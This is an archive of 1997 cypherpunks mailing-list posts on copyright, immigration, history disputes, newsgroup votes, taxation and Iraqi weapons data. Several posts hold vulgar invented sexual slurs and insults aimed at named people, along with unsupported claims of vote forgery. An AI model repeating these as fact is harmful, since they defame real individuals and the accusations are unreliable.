        It is interesting that while almost the entire body of copyright
law deals with materials other then what is to be covered, the industry has
enough clout to get their's singled out for the first criminal penalties
for violation. 

        This leaves the bulk of copyrighted material, printed material,
photographs and the like open to being stolen as does nizkor for example. 


-=-=-
The 2nd guarantees all the rest. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mikhael Frieden <mikhaelf@mindspring.com>
Date: Sun, 23 Nov 1997 19:55:43 +0800
To: Tim May <declan@well.com>
Subject: Re: Report on UN conference on Internet and racism
Message-ID: <3.0.16.19971123050057.3ac79780@pop.mindspring.com>
MIME-Version: 1.0
Content-Type: text/plain



At 08:12 PM 11/18/97 -0700, Tim May wrote:
>At 10:34 PM -0700 11/18/97, Mikhael Frieden wrote:
>>At 06:53 PM 11/18/97 -0600, William H. Geiger III wrote:

>>>I think that there is plenty of case law of extending constutional
>>>protections to non-citizens. One that comes to mind were the rulings
>>>against California inwhich the courts ruled the they were obligated to
>>>provide schooling and social services to illegal aliens (a really fucked
>>>rulling IMNSHO but if some good can come out of it no sense not making use
>>>of it).

>>        In a much more fundamental sense, if they were not given
>>constitutional protections they really could be rounded up and bussed
>>across the border.

>And what would be wrong with this?

        Not a damned thing. While in this country they are in the act of
committing a crime. Once they have been deported they have stopped
committing the crime and then they can plead to appear in court. 

-=-=-
The 2nd guarantees all the rest. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sun, 23 Nov 1997 22:51:03 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Seeing Both Sides
In-Reply-To: <a0c766cd7eac94b862b5202e12d07b45@squirrel>
Message-ID: <19971123063843.37732@songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sat, Nov 22, 1997 at 10:59:19PM -0500, Robert Hettinga wrote:
[...]
> I find this particularly interesting in light of my treatment on this list
> the past week or so. I point out that Tim threatens a federal judge, and
> all shriek apostasy. I never knew there was cypherpunk orthodoxy until now.

Get used to it.  I described the cryptoanarchy cult some months ago
(check the archives).  The result was a hilarious chorus of letters 
assuring me how unique and individualistic cryptoanarchists were.  

"...lost in a twisty maze of little passages, all alike".

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sun, 23 Nov 1997 21:34:58 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Tim May's offensive racism (was: about RC4) (fwd)
Message-ID: <199711231326.HAA07091@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Sat, 22 Nov 1997 23:39:06 -0500
> From: Robert Hettinga <rah@shipwright.com>
> Subject: Re: Tim May's offensive racism (was: about RC4)

> Homework is for wimps. :-). I work from memory almost all of the time, and
> everything I say here can be classified as my opinion, and nothing else.
> Most of the things I state as fact are correct, when you root around on
> them a bit, like Choate did with the Great Awakening stuff.

It's a pity you weren't right though, the 50 year gap in your memory pretty
much blows your assertion as well as your reputation to hell.

Homework may be for wimps, but they're successful wimps.



    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.org>
Date: Sun, 23 Nov 1997 16:08:19 +0800
To: John Young <cypherpunks@toad.com
Subject: Re: Clinton Sells Arlington Burials (fwd)
In-Reply-To: <1.5.4.32.19971123020247.006c67e8@pop.pipeline.com>
Message-ID: <19971123.074256.attila@hun.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

on or about 971122:2102, in <1.5.4.32.19971123020247.006c67e8@pop.pipeline.com>, 
    John Young <jya@pipeline.com> was purported to have 
    expostulated to perpetuate an opinion:

>Even morons grasp that these dishonorable plots are recruiting scams  cooked up
>by the living up to no good.

>Excuse me for losing it, don't want a war over honor, some pissed vet to gore
>me with his pegleg badge of valor, some chickenshit reservist  to earn a
>stripe.

    hell, no!  I did mine, gave it all I had in the face of it until the 
    youthful idealism from the farm (despite Harvard) was shot and the 
    pure bullshit of the American ideal was exposed as the world's bully 
    --at least you knew where the commies were; our great American idealistic
    motherfuckers were nothing more than an oligarchy of military-industrial
    opportunists and power freaks.

    if I had not carried too much rank, they would have assigned me to
    retrieve the dead from the jungle detail...  the ultimate in one way
    tickets.

    even if they would pardon me for my sins of telling them to fuck-off, 
    I'll join you in potters' field --probably safer anyway....

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQBVAwUBNHfgqbR8UA6T6u61AQF1WgIAnEy+A73bomNB6mAp2ZAEVag9cS4YMQ4e
WOTH6WGwj/1A3Gx1waBzwSPJeXmPxrZBoc5lmgvT7kMO5vbZZZTIRw==
=mlf7
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.org>
Date: Sun, 23 Nov 1997 16:22:23 +0800
To: Tim May <cypherpunks@cyberpass.net
Subject: Re: Anti-Grav?
In-Reply-To: <v03102824b094d230eca7@[207.167.93.63]>
Message-ID: <19971123.080313.attila@hun.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

on or about 971116:0943, in <v03102824b094d230eca7@[207.167.93.63]>, 
    Tim May <tcmay@got.net> was purported to have 
    expostulated to perpetuate an opinion:

>Wake me up if it's actually confirmed. But don't wake me up just to tell me the
>claims have been withdrawn.

    
    the claims have not been withdrawn.  there was an article 
    recently in the American Physics Society rag. anything goes at 
    absolute temperature including the proof of the einstein-bose
    predictions where molecules literally overlap.  plasmas have 
    some interesting effects on spatial relationships in non-miscable
    crytal structures, but the einstein-bose...

    there are at least 300 projects on cold fusion running... and one
    plausible explanation which I am aware of.  also, look at the other
    end --politics continues the Princeton ring, while the LLL Shiva
    project has not been metioned for several years.  go figure.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQBVAwUBNHfky7R8UA6T6u61AQEiWQH/QqAag9ZYnc4n+QBEz+0xeknF04OPRjYo
H6c2eRaqC5+6XH+u+Tw1+q7Fv/xwWfG+bCXAEl6XoMTwZWiMUdesbQ==
=y4Ki
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Gillogly <jim@acm.org>
Date: Mon, 24 Nov 1997 00:41:20 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Seeing Both Sides
Message-ID: <34785A53.4F80CE4A@acm.org>
MIME-Version: 1.0
Content-Type: text/plain



Kent Crispin says:
> Get used to it.  I described the cryptoanarchy cult some months ago
> (check the archives).  The result was a hilarious chorus of letters
> assuring me how unique and individualistic cryptoanarchists were.

*I'm* not.

--
        Jim Gillogly
        Highday, 3 Foreyule S.R. 1997, 16:28
        12.19.4.12.11, 7 Chuen 9 Ceh, Eighth Lord of Night







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 23 Nov 1997 16:35:33 +0800
To: cypherpunks@toad.com
Subject: Digital signatures
Message-ID: <199711230807.JAA15377@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Timothy May was born when his mother was on the toilet.

          o       o
        /<         >\ Timothy May
        \\\_______///
        //         \\





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 23 Nov 1997 16:26:37 +0800
To: cypherpunks@toad.com
Subject: Re: [Fwd: [cpj:265] COS]
Message-ID: <199711230814.JAA15887@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Brian B. Riley wrote:
> 
> On 11/22/97 10:39 PM, Tim May (tcmay@got.net)  passed this wisdom:
> 
> >At 12:06 PM -0700 11/22/97, TruthMonger wrote:
> >>Have you heard of a Mac compatible OS called "COS" from Omega in East
> >>Germany?
> 
> >This past week's issue of "MacWeek" said that this COS has been "delayed,"
> >with no new introduction date set.
>
>  I have read a number of articles speculating that Omega COS may be
> vaporware. I went to their webapge which has some great sounding text
> hype and nothing else, no links, no ordering info, nada!

I have a friend from Santa Fe who did some work with Omega and her
opinion was that their purpose in crypto OS development was aimed
toward using it as leverage for being bribed into compromising or
abandoning it in return for government/spook business.

Apparently, there are consultants in some of the former Eastern Bloc
countries who specialize in negotiations between corporations and
shadow agencies in order to find out the highest price they can
sell out or capitulate for without making it worth the spooks time
and effort to sabotage their project or whack them out. It seems
that it can be quite profitable if you don't waste money foolishly
on hiring programmers, engineers, etc.

I have to go now and work on my "Lounge Suit Larry Nukes DC While
Stripping Barbie Naked" program. It uses BAD IDEA encryption.

A. Fiend
    ^r





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 24 Nov 1997 01:58:46 +0800
To: Mikhael Frieden <cypherpunks@toad.com
Subject: Re: Copyrights and Wrongs, from The Netly News
In-Reply-To: <3.0.16.19971122172818.0c7f33ce@pop.mindspring.com>
Message-ID: <v03102804b09e0cfb1f42@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 5:32 AM -0700 11/23/97, Mikhael Frieden wrote:

>        It is interesting that while almost the entire body of copyright
>law deals with materials other then what is to be covered, the industry has
>enough clout to get their's singled out for the first criminal penalties
>for violation.
>
>        This leaves the bulk of copyrighted material, printed material,
>photographs and the like open to being stolen as does nizkor for example.

I mentioned this point back when I was on the Cyberia-l list a few years ago.

Some of the law professors on the list were complaining that their
copyright rights were being violated by the quoting or forwarding of
articles.

And the major newspapers were sending out threatening letters, which were
generally heeded by the "offenders."

Well, what about _my_ stuff? (More generally, anybody's stuff.)

Why  does Professor Joe Shmoe or "The New Attleboro Times" have a greater
claim to "copyright violations" than Fred Nobody?

This is a semi-rhetorical question, as it mostly involves who is willing to
hire a lawyer to enforce such property claims. But, as M. Frieden notes,
the deck is stacked in favor of large newspapers, publishers, and even
professional authors, and is stacked against private individuals and lesser
authors gaining access to the courts.

"Some copyrights are more equal than others."

(Personally, I don't really believe in copyrights.)

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 24 Nov 1997 00:22:20 +0800
To: cypherpunks@toad.com
Subject: Re: Seeing Both Sides
In-Reply-To: <v03102802b09d6e2dcfcf@[207.167.93.63]>
Message-ID: <uqNmge16w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May <tcmay@got.net> writes:
> I'm happy doing what I'm doing. I think I do it pretty well, Certainly
> better than learning C or C++ and becoming YACC (Yet Another C Coder). No
> insult to C coders, but at age 45, after making a bundle of money doing
> physics and AI,  and retiring eleven years ago, I hardly think training
> myself at this point to be a C journeyman is what I want to do with my life.

Let's take an inventory of what Tiny Timmy can contribute to our cause:
* capital
* ability to spec out projects and figure out what needs to be done
He lacks:
* time
* C coding skills
* understanding of non-RSA cryptography (such as elliptic curves)
Here's an idea. Suppose you want a certain program to be written and
made available for free.  Spec out the design and offer to pay a few
thousand dollars for someone to code it and post it.
Put your money where your mouth it, Tiny Timmy.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 24 Nov 1997 00:20:41 +0800
To: cypherpunks@toad.com
Subject: Re: Junior Jim Bells in Training
In-Reply-To: <v03102811b09d4faf6463@[207.167.93.63]>
Message-ID: <s3Nmge17w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May <tcmay@got.net> writes:

> At 7:25 AM -0700 10/28/97, Eric Cordian wrote:
> >Two more future cypherpunks added to the list of people who will
> >someday "McVeigh" Washington, DC.
> >
> >I'm surprised sending a flame to one of our elected leadership's
> >public email addresses is not already a death penalty offense.
> >
>
> Given the ease with which relatively good forgeries can be made, I'm
> surprised more people have not had their enemies harassed by forging such
> threats in the names of their enemies.
>
> (Vulis, Toto, Detweiler...don't get any ideas.)

This reminds me of a very unpleasant person named Peter Vorobieff
who pissed me off and subsequently posted numerous Usenet articles
detailing how he hates Jews and wants to help the Arabs get the
a-bomb and to poison Israeli water supply with radioactive isotopes.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 24 Nov 1997 00:19:28 +0800
To: cypherpunks@toad.com
Subject: Re: Seeing Both Sides
In-Reply-To: <3478043D.5E0A@dev.null>
Message-ID: <Jgomge18w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Robert Heidegger <rh@dev.null> writes:
> Tim May wrote:
> > Your moralizing
> > reminds me of Detweiler, who had an unnatural fixation on me and my exact
> > words and how my words were torturing him and on and on.
>
>   More foolish speculation on Tim's part, as well as a shoddy
> attempt to associate my eloquent missives with the mad ramblings
> of Detweiler.

I have great respect for Detweiller.  LD is kewl.  You're no Detweiller,
Bobby, and neither is Timmy.

>   As for Tim's grandoise claims of my having an "unatural fixation,"
> on him, my stalking of him

I agree with Timmy on this one. Your fixation on Timmy is unnatural.

>   An "unnatural fixation" is revealed by more personal and sick,
> twisted habits, such as Bill Stewart using his Eudora software
> to filter Toto's posts to a special directory he projects onto
> an overhead screen during his sexual orgies with farm animals.

Proof, please.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 24 Nov 1997 00:51:56 +0800
To: cypherpunks@toad.com
Subject: Re: Copyrights and Wrongs, from The Netly News
In-Reply-To: <3.0.16.19971122172818.0c7f33ce@pop.mindspring.com>
Message-ID: <56omge19w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Mikhael Frieden <mikhaelf@mindspring.com> writes:

>         This leaves the bulk of copyrighted material, printed material,
> photographs and the like open to being stolen as does nizkor for example.

Nizkor are criminals in many other ways as well.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 23 Nov 1997 18:00:14 +0800
To: cypherpunks@toad.com
Subject: Re: [Fwd: [cpj:265] COS]
Message-ID: <199711230935.KAA24034@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Anonymous wrote:
> > >At 12:06 PM -0700 11/22/97, TruthMonger wrote:
> > >>Have you heard of a Mac compatible OS called "COS" from Omega in East
> > >>Germany?

> I have a friend from Santa Fe who did some work with Omega and her
> opinion was that their purpose in crypto OS development was aimed
> toward using it as leverage for being bribed into compromising or
> abandoning it in return for government/spook business.

Check out the number of companies in the computer security business
and closely related areas who have a board of directors composed of
ex-spooks and ex-military brass.
I can hardly wait for the Pretty Good Freeh-Dumb software to hit
the market after the pictures of J. Edgar Hoover buttfucking young
Louey are released.

A Future Political Prisoner To Be Named Later






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@Algebra.COM (Igor Chudov @ home)
Date: Mon, 24 Nov 1997 02:49:56 +0800
To: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Subject: Influence as a voter
In-Reply-To: <FJ1Lge13w165w@bwalk.dm.com>
Message-ID: <199711231837.MAA00619@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



Dr.Dimitri Vulis KOTM wrote:
> others not to :-). You don't have a choice about paying taxes to
> pay for the horrible public schools / socialized medicine and your
> influence as a voter ain't worth shit.

Dimitri, some time ago there was a vote on a certain soc.culture.* 
newsgroup.

As you know, the group passed, but if there was one YES vote less than
the number cast, the group would not pass.

That one vote came from you (thank you). Do you think that your influence
in the vote was not worth shit? I think not.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Mon, 24 Nov 1997 03:41:08 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: My last comment on Great Awakening...
Message-ID: <199711231941.NAA07844@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Hi,

It has been claimed that the original claim by Bob and anonymous was that
the first Great Awakening ended by the late 18'th century. This is a
complete fabrication. The original claim put forth clearly references dates
in the 1800's as the date of the first instance, clearly 50-100 years in
error from the original Great Awakening that occurred between 1700-1750. In
my original posting I (thought) made it clear that I didn't quite know when
the original event occurred but was certain it ended prior to the late
1700's which would clearly pre-date the original claim. I subsequently took
the time to provide references for those citation and clearly indicated
where my memory was in error, and even took the time to explain my confusion
regarding the 'Beacon on the Hill' movement. In responce Bob and apparently
anonymous made it clear that they saw no reason to do 'homework'
irrespective of the impact of historical accuracy on their claims.

Make up your own mind on the validity of the claims.


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Sun, 23 Nov 1997 12:54:43 +0800
To: cypherpunks@toad.com
Subject: Re: Will Jews be Forced to Accept Christ in Public Schools?
In-Reply-To: <97Nov21.181732est.32259@brickwall.ceddec.com>
Message-ID: <Pine.LNX.3.93.971123135313.334F-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Fri, 21 Nov 1997 nospam-seesignature@ceddec.com wrote:

[...]

> but say that the
> state should get entirely out of things like education and charity
> (welfare and healthcare) because it is none of the state's business - the
> churches (and other voluntary organizations) are responsible for these
> functions.

I would have to dissagry with you.  If the state has any business, it is
to provide services that the comminaty as a whole needs or services where
the market will not provide.  While churches (and other voluntary
organizations) have there place I do not beleave that it is a universal
solition.

Indeed I have worries about contribution money to an orginisation that I
have little ablity to control via my influence as a voter.

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett.  I do not reply to munged addresses.

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Version: 2.6.3i
Charset: noconv

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5qHfJx8WmKCiYN2VLc7QlGPGHNRSvbXkhv3ASksfgZsxzoP47+5AK1PZWCNm8lPO
NsEQvWjQ63bNAmwI4QUnimw9i8Ae+yetu2XZF3svI9EYKymWsmszaMKc7emmhO8q
VU0vsc/P70E=
=00oa
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 24 Nov 1997 04:01:37 +0800
To: cypherpunks@toad.com
Subject: Re: Influence as a voter
In-Reply-To: <199711231837.MAA00619@manifold.algebra.com>
Message-ID: <0a1mge22w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



ichudov@algebra.com (Igor Chudov @ home) writes:

> Dr.Dimitri Vulis KOTM wrote:
> > others not to :-). You don't have a choice about paying taxes to
> > pay for the horrible public schools / socialized medicine and your
> > influence as a voter ain't worth shit.
>
> Dimitri, some time ago there was a vote on a certain soc.culture.*
> newsgroup.
>
> As you know, the group passed, but if there was one YES vote less than
> the number cast, the group would not pass.
>
> That one vote came from you (thank you). Do you think that your influence
> in the vote was not worth shit? I think not.

Since that time, the news.groups voting process has become even more corrupt.
When the skirvins and the isleys want to pass (or not pass) a newsgroup,
they just make up votes from nonexistant addresses as needed.

I'm sure if it weren't for my YES vote, the UVV would have forged a YES
vote from someone else.  In fact, I have a strong suspicion that the UVV
either made up or discarded some YES votes to make it look like the
proposal passed by a single vote.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Mon, 24 Nov 1997 04:44:29 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Further costs of war
Message-ID: <199711232043.OAA08112@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Sat, 22 Nov 1997 00:02:01 +0100 (MET)
> From: nobody@REPLAY.COM (Anonymous)
> Subject: Further Costs of War

Hi Monty,

I have a couple of questions...

> A few more comments on World War II.
> 
> Had World War II been prevented, along with deaths of 50 million or so
> people, we would also have been spared (in the United States) income
> tax withholding.  Previously the only people paying income tax were
> fairly wealthy and there was no withholding.

Any particular methodology you might care to share on stopping WWII?
Being an avid amateur historian concerning WWII I am very much interested in
any insight you might have.

As to taxation and withholding:

 
			       ARTICLE XVI. 
 
	The Congress shall have power to lay and collect taxes on 
incomes, from whatever source derived, without apportionment among the 
several States, and without regard to any census or enumeration. 
[25 February 1913.] 
 
Notice the date of implimentation, considerably before WWII, it is in fact
the year before the US became involved in WWI. Perhaps you meant WWI instead
of WWII? Citizens of the US have been paying taxes since 1914.

> I doubt very much that income tax withholding would have been accepted
> if the War were not used to justify it.  ("You don't want to pay
> taxes?  What are you, a traitor?")

What war? The taxes came about because of issues other than fighting a war
which hadn't even happened yet.


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 24 Nov 1997 04:39:42 +0800
To: cypherpunks@toad.com
Subject: Re: The Subliminal Algebra-Seinfield Conspiracy
In-Reply-To: <1.5.4.32.19971122175619.006aeb1c@pop.pipeline.com>
Message-ID: <1H3mge23w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



John Young <jya@pipeline.com> writes:

> Dimitri confessed:
>
> >Above Tom's restaurant, on 112th and Broadway.  I worked for 7 years upstair
> >from that restaurant in a very secret organization.  I'm socked they even
> >show that building on TV. :-)
>
> You bet, that secret org is well-known among CU pick-up artists as
> a swell place to pick up socks ...  well, more than that and sudden
> death's your next shock.

Columbia University's campus map shows it as the 'Armstrong Building'.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Mon, 24 Nov 1997 05:54:38 +0800
To: cypherpunks@toad.com
Subject: Re: Russ Alberry/CAUCE vs. the Cypherpunks (was: Re: RESULT: comp.org.cauc
In-Reply-To: <64pmr8$b4j@smash.gatech.edu>
Message-ID: <3478A08B.72DE@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



lcs Mixmaster Remailer wrote:
> 
> Russ Allbery <rra@stanford.edu> wrote:
> 
> > * I am specifically pissed at Igor about trolling for votes on                                            ^^^^^^^^^^^^^^^^^^
> >  random newsgroups and on Cypherpunks.

> In what sense are you using the word "trolling"?  Are you saying that the
> mention of a proposal to ban anonymity is considered "trolling" when posted
> amongst a group of pro-privacy, pro-anonymity individuals such as the
> Cypherpunks? 

  Sounds like he is only objecting to you discussing issues important
to you with groups you belong to and groups that you *don't* belong to.
  Sounds like Chelsea is pushing daddy's fascist agenda at Stanford.

> Why is publicly disagreeing with you considered a "propaganda campaign"?
> Why should the C.A.U.C.E. brand of propaganda be the only variety allowed?

  Because fickless ducks live in fear of individuals who threaten
their ability to hide under phantom security blankets.
  
> When I first heard of the C.A.U.C.E., my initial thought was that it was a
> good idea.  Finally a means to fight back against the spammers.  Now I'm
> starting  to wonder what sort of agenda is driving some of these illogical
> anti-privacy requirements.

  Often, it is just the result of people who come up with some inane
brainstorm that looks good on the surface, but are too intellectually
lazy to think it through and resent anyone who does so (thus destroying
their petty work of self-proclaimed 'genius'.
  The real losers end up doing a lot of campaigning to make up for the
insufficiency of their logic, under the delusion that getting as many
others as possible to jump on their bandwagon will somehow increase
their low level of self-esteem.

  Sounds to me like the dweeb is pissed because he had to do a lot
of blather-spamming to overcome the effects of Igor's rational
and balanced posts on the subject.
  Perhaps his next project could be to promote a vote on a new
value for 'pi'. 

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael Wilson <0005514706@MCIMAIL.COM>
Date: Mon, 24 Nov 1997 04:58:05 +0800
To: cypherpunks <cypherpunks@Algebra.COM>
Subject: Iraq and computers
Message-ID: <01IQD2KOFMHCAUT4XW@DGN0IG.mcimail.com>
MIME-Version: 1.0
Content-Type: text/plain



As you see from the news bit attached, I wonder if we'll need to worry
about 'disk escrow,' or perhaps a requirement that disks be of an
unusually large size (thus making them easier to detect), or a requirement
for diskless machines...
MW
http://www.7pillars.com/

   ________________________________________________________________________
                                       
             Iraq reportedly hiding arms data on U.S.-made computers
  ____________________________________________________________________________
                                        
      Copyright ) 1997 Nando.net
      Copyright ) 1997 Reuters
      
   WASHINGTON (November 23, 1997 02:35 a.m. EST http://www.nando.net) - To
   conceal its deadliest arms from U.N. weapons inspectors, Iraq has
   increasingly turned to U.S.-made computers sold in Baghdad since the end
   of the 1991 Gulf War in violation of international sanctions, the Los
   Angeles Times reported in its Sunday editions.
   
   Quoting U.S. officials and U.N. diplomats, the newspaper said that Iraqi
   scientists and defense officials are using Western-made computers to
   transfer data from bulky papers to small disks that can be easily
   dispersed, making the information difficult for inspectors to track.
   
   In addition, they are using computers for research and development in
   the four categories specifically forbidden under the U.N. resolution
   ending the war -- nuclear, chemical and biological weapons and
   long-range missiles.
   
   U.N. sources did not disclose the brands or quantity of U.S.-made
   computers, except to say they make up a significant percentage of what
   was in use in Iraq, the paper said.
   
   "There are not garden-variety computers that you can go down to Radio
   Shack and buy," the paper said, quoting a former U.S. diplomat. "This
   requires specialized equipment and programs only available in certain
   places.
   
   Most of the U.S. equipment was probably purchased through third parties
   to circumvent U.S. companies' more rigorous monitoring of such illegal
   sales, U.N. and U.S. sources said, according to the newspaper.
   
   The use of high-tech equipment underscored how Baghdad continued to keep
   data beyond the reach of the United Nations, the paper said, adding that
   President Saddam Hussein's regime was widely suspected of using the
   three-week gap while U.N. inspectors were out of the country to further
   disperse data on disks.
   
   The use of computers also reflected the way Iraq used its limited
   sources to modernize its military capability rather than address
   humanitarian issues, U.S. and U.N. officials said, according to the
   report.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Mon, 24 Nov 1997 05:43:08 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Seeing Both Sides
In-Reply-To: <v0400272bb09d562b7c91@[139.167.130.248]>
Message-ID: <v04002744b09e08a183b1@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



<Nice to see I'm back out of TCM's killfile. He apparently figured out he
can run, etc.>


At 12:41 am -0500 on 11/23/97, Tim May lobs a low, slow one, right over the
plate:

> Oh, and as for your typically Hettingian "writing code instead of putting a
> few hundred rounds a week through their ARs and Glocks" insult, you'd be
> surprised to know who I ran into at the Los Altos Gun Range this afternoon.
> And to think he was shooting an AR when he could have been coding "for the
> Cause"!

Actually, <insult> ya yutz </insult> :-), it's exactly *why* I wrote it, if
you notice the time of my posting.

Shooting is a good skill to have. I wish I had it myself. However, I have a
